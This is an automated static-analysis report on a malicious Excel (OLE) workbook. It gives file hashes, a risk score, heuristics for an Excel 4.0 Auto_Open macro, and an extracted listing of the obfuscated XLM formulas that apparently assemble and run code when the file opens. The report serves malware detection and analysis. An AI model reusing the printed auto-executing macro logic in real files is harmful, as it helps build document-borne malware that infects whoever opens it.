Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5e83d1098d9f22af…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-27 11:42:51 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: b24271376488de36c33354e8066bd2ff SHA-1: 1b73e5fb8fa965ff6d10029f235e156be309c976 SHA-256: 5e83d1098d9f22afafcd7336e3af13f53e6df20b726aef839041e712e96adc02
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6844 bytes
SHA-256: 80bded774ef445aaa8b4525056421c6cb3ba4dac34da9245916749a4840dfa02
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  afaaGwu
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F185 
' 0018     20 LABEL : Cell Value, String Constant - bHLft len=0 
' 0018     20 LABEL : Cell Value, String Constant - cgFSe len=0 
' 0018     20 LABEL : Cell Value, String Constant - CNrlg len=0 
' 0018     23 LABEL : Cell Value, String Constant - DMUQcBrr len=0 
' 0018     26 LABEL : Cell Value, String Constant - fCAuPWVnssx len=0 
' 0018     27 LABEL : Cell Value, String Constant - FiJsGLCjVrmU len=0 
' 0018     25 LABEL : Cell Value, String Constant - GBYaCxcLVC len=0 
' 0018     25 LABEL : Cell Value, String Constant - GgmkKcgcuD len=0 
' 0018     25 LABEL : Cell Value, String Constant - gQJjiGNweC len=0 
' 0018     26 LABEL : Cell Value, String Constant - pLzNxbovmMG len=0 
' 0018     26 LABEL : Cell Value, String Constant - PTsSYZClbBK len=0 
' 0018     20 LABEL : Cell Value, String Constant - qfcpB len=0 
' 0018     21 LABEL : Cell Value, String Constant - RwRkic len=0 
' 0018     25 LABEL : Cell Value, String Constant - ryPOtNXgLr len=0 
' 0018     22 LABEL : Cell Value, String Constant - TYybPop len=0 
' 0018     26 LABEL : Cell Value, String Constant - vsSiWGBPBgk len=0 
' 0018     26 LABEL : Cell Value, String Constant - VuiAzdJWoQf len=0 
' 0018     26 LABEL : Cell Value, String Constant - vUknpVVMAYu len=0 
' 0018     24 LABEL : Cell Value, String Constant - xmxmxHUPP len=0 
' 0018     26 LABEL : Cell Value, String Constant - YqsyqUunkSh len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  afaaGwu,S43,"",847.00000000000000000000
'  afaaGwu,S44,"",574.00000000000000000000
'  afaaGwu,S45,"",452.00000000000000000000
'  afaaGwu,S46,"",9.00000000000000000000
'  afaaGwu,S47,"",-635.00000000000000000000
'  afaaGwu,S48,"",728.00000000000000000000
'  afaaGwu,F88,"SET.NAME("pLzNxbovmMG",0+VALUE("0"))",""
'  afaaGwu,F93,"SET.NAME("cgFSe",pLzNxbovmMG)",""
'  afaaGwu,F97,"SET.NAME("vsSiWGBPBgk",pLzNxbovmMG)",""
'  afaaGwu,F102,"SET.NAME("YqsyqUunkSh",COUNTA(gQJjiGNweC))",""
'  afaaGwu,F106,"SET.NAME("PTsSYZClbBK",COUNTA(qfcpB))",""
'  afaaGwu,F109,[],""
'  afaaGwu,F114,"SET.NAME("GgmkKcgcuD","")",""
'  afaaGwu,F116,"cgFSe",""
'  afaaGwu,F120,"SET.NAME("fCAuPWVnssx",HLOOKUP("*",gQJjiGNweC,cgFSe,FALSE))",""
'  afaaGwu,F122,"bHLft",""
'  afaaGwu,F125,"SET.NAME("FiJsGLCjVrmU",pLzNxbovmMG)",""
'  afaaGwu,F130,[],""
'  afaaGwu,F134,"FiJsGLCjVrmU",""
'  afaaGwu,F136,"GBYaCxcLVC",""
'  afaaGwu,F140,"TYybPop",""
'  afaaGwu,F144,"CNrlg",""
'  afaaGwu,F148,"SET.NAME("ryPOtNXgLr",VALUE(HLOOKUP("*",qfcpB,CNrlg,FALSE)))",""
'  afaaGwu,F152,"vUknpVVMAYu",""
'  afaaGwu,F157,"GgmkKcgcuD",""
'  afaaGwu,F161,"vsSiWGBPBgk",""
'  afaaGwu,F164,NEXT(),""
'  afaaGwu,F166,"xmxmxHUPP",""
'  afaaGwu,F171,[],""
'  afaaGwu,F176,"RwRkic",""
'  afaaGwu,F181,NEXT(),""
'  afaaGwu,F183,RETURN(),""
'  afaaGwu,F207,"SET.NAME("DMUQcBrr",F88)",""
'  afaaGwu,F211,"gQJjiGNweC",""
'  afaaGwu,F216,"SET.NAME("qfcpB",R47C12)",""
'  afaaGwu,F221,"SET.NAME("RwRkic",230)",""
'  afaaGwu,F225,"SET.NAME("VuiAzdJWoQf",6)",""
'  afaaGwu,F229,DMUQcBrr(),""
'  afaaGwu,F230,HALT(),""